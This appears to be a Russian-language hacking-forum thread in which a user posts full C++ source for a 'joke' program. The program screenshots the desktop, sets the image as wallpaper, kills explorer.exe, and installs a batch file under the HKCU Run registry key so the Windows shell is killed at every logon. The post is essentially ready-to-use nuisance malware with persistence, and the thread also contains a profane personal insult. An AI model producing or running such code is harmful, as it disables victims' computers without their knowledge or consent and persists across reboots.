Наш Jabber-сервер расположен по адресу fuckav.in. Добро пожаловать!!! |
|
Для того, чтобы ответить в теме, необходимо зарегистрироваться. |
|
Опции темы | Опции просмотра |
|
14-01-2014 | #1 | |
xor esp, esp
Последняя активность:
1 день назад Регистрация: 30.11.2013
Сообщений: 76
Поблагодарили всего: 160
за это сообщение: 8 |
[C++] Шутка с помощью скриншота экрана
Всем привет.
Предоставленный ниже код делает следующее: Сворачивает все окна ( Win + D ) Делает скриншот экрана Ставит этот скриншот экрана на обои рабочего стола Убивает explorer.exe Записывает на автозапуск батник, который убивает explorer.exe Цель выкладывания этого кода была проста: 1) Показать, как делаются скриншоты 2) Показать передачу команд в командную строку 3) показать, как установить обои для рабочего стола 4) Показать работу с реестром 5) Показать запись в файл 6) Показать эмуляцию нажатия клавиш В коде разобраться не сложно, если вы знаете синтаксис языка. Код:
#include <windows.h> #include <shellapi.h> #include "stdio.h" using namespace std; int CaptureBMP(LPCTSTR szFile) { HDC hdcScr, hdcMem; HBITMAP hbmScr; BITMAP bmp; int iXRes, iYRes; hdcScr = CreateDC("DISPLAY", NULL, NULL, NULL); hdcMem = CreateCompatibleDC(hdcScr); iXRes = GetDeviceCaps(hdcScr, HORZRES); iYRes = GetDeviceCaps(hdcScr, VERTRES); hbmScr = CreateCompatibleBitmap(hdcScr, iXRes, iYRes); if (hbmScr == 0) return 0; if (!SelectObject(hdcMem, hbmScr)) return 0; if (!StretchBlt(hdcMem, 0, 0, iXRes, iYRes, hdcScr, 0, 0, iXRes, iYRes, SRCCOPY)) return 0; PBITMAPINFO pbmi; WORD cClrBits; if (!GetObject(hbmScr, sizeof(BITMAP), (LPSTR) &bmp)) return 0; cClrBits = (WORD)(bmp.bmPlanes * bmp.bmBitsPixel); if (cClrBits == 1) cClrBits = 1; else if (cClrBits <= 4) cClrBits = 4; else if (cClrBits <= 8) cClrBits = 8; else if (cClrBits <= 16) cClrBits = 16; else if (cClrBits <= 24) cClrBits = 24; else cClrBits = 32; if (cClrBits != 24) pbmi = (PBITMAPINFO) LocalAlloc(LPTR, sizeof(BITMAPINFOHEADER) + sizeof(RGBQUAD) * (1 << cClrBits)); else pbmi = (PBITMAPINFO) LocalAlloc(LPTR, sizeof(BITMAPINFOHEADER)); pbmi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER); pbmi->bmiHeader.biWidth = bmp.bmWidth; pbmi->bmiHeader.biHeight = bmp.bmHeight; pbmi->bmiHeader.biPlanes = bmp.bmPlanes; pbmi->bmiHeader.biBitCount = bmp.bmBitsPixel; if (cClrBits < 24) pbmi->bmiHeader.biClrUsed = (1 << cClrBits); pbmi->bmiHeader.biCompression = BI_RGB; pbmi->bmiHeader.biSizeImage = (pbmi->bmiHeader.biWidth + 7) / 8 * pbmi->bmiHeader.biHeight * cClrBits; pbmi->bmiHeader.biClrImportant = 0; HANDLE hf; BITMAPFILEHEADER hdr; PBITMAPINFOHEADER pbih; LPBYTE lpBits; DWORD dwTotal; DWORD cb; BYTE *hp; DWORD dwTmp; pbih = (PBITMAPINFOHEADER) pbmi; lpBits = (LPBYTE) GlobalAlloc(GMEM_FIXED, pbih->biSizeImage); if (!lpBits) return 0; if (!GetDIBits(hdcMem, hbmScr, 0, (WORD) pbih->biHeight, lpBits, pbmi, DIB_RGB_COLORS)) return 0; hf = CreateFile(szFile, GENERIC_READ | GENERIC_WRITE, (DWORD) 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, (HANDLE) NULL); if (hf == INVALID_HANDLE_VALUE) return 0; hdr.bfType = 0x4d42; hdr.bfSize = (DWORD) (sizeof(BITMAPFILEHEADER) + pbih->biSize + pbih->biClrUsed * sizeof(RGBQUAD) + pbih->biSizeImage); hdr.bfReserved1 = 0; hdr.bfReserved2 = 0; hdr.bfOffBits = (DWORD) sizeof(BITMAPFILEHEADER) + pbih->biSize + pbih->biClrUsed * sizeof (RGBQUAD); if (!WriteFile(hf, (LPVOID) &hdr, sizeof(BITMAPFILEHEADER), (LPDWORD) &dwTmp, NULL)) return 0; if (!WriteFile(hf, (LPVOID) pbih, sizeof(BITMAPINFOHEADER) + pbih->biClrUsed * sizeof (RGBQUAD), (LPDWORD) &dwTmp, NULL)) return 0; dwTotal = cb = pbih->biSizeImage; hp = lpBits; if (!WriteFile(hf, (LPSTR) hp, (int) cb, (LPDWORD) &dwTmp, NULL)) return 0; if (!CloseHandle(hf)) return 0; GlobalFree((HGLOBAL)lpBits); ReleaseDC(0, hdcScr); ReleaseDC(0, hdcMem); return 1; } int main() { char Win[256], Target[256]; GetWindowsDirectory(Win, sizeof(Win)); strcpy(Target, Win); strcat(Target, "\\screen.bmp"); keybd_event(VK_LWIN, 0, 0 ,0); keybd_event('D', 0, 0 ,0); keybd_event('D', 0, KEYEVENTF_KEYUP,0); keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP,0); Sleep(100); CaptureBMP(Target); SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, Target, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE); ShellExecute(0, "open", "cmd.exe", "/c taskkill /im explorer.exe /f", Win, SW_HIDE); FILE *explorer=fopen(strcat(Win, "\\explorer.bat"), "w"); fprintf(explorer, "@Echo Off\ntaskkill /im explorer.exe /f"); fclose(explorer); HKEY key; RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0,KEY_WRITE, &key); RegSetValueEx(key,"explorer",0,REG_SZ,(BYTE *)Win,256); RegCloseKey(key); } |
|
04-02-2014 | #2 | |||
Windows 95
Последняя активность:
10-02-2014 Регистрация: 07.11.2010
Сообщений: 115
Поблагодарили всего: 87
за это сообщение: 7 |
Re: [C++] Шутка с помощью скриншота экрана
Цитата:
Цитата:
|
|||
08-02-2014 | #3 | ||
xor esp, esp
Последняя активность:
1 день назад Регистрация: 30.11.2013
Сообщений: 76
Поблагодарили всего: 160
за это сообщение: 5 |
Re: [C++] Шутка с помощью скриншота экрана
Mr.Burns, прежде чем писать, иди сам что нибудь выложи. Толку ноль от тебя, только мозги всем ебешь.
|
||
|
Для того, чтобы ответить в теме, необходимо зарегистрироваться. |
Метки |
bmiheader, radikal, rofl, блядь, давай, даже, нахуй, помощью, пост, скриншота, шутка, экрана |
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1) | |
Опции темы | |
Опции просмотра | |
|
|
Похожие темы | ||||
Тема | Автор | Раздел | Ответов | Последнее сообщение |
Копия экрана скрытого окна. | Tamplier7777 | Помощь | 3 | 21-08-2013 10:44 |
Шутка в League of Legends может стоить школьнику 8 лет свободы | chef | Новости | 7 | 15-07-2013 20:44 |
Apple удалось зарегистрировать патент на жест разблокировки экрана | KpuMuHaJl | Новости | 0 | 27-10-2011 05:32 |
Троян с помощью Metasploit | RoMu4 | Статьи | 12 | 09-12-2010 15:13 |
как отклбчить с помощью bat Alt+Tab ? | madlian | Помощь | 0 | 08-05-2010 22:57 |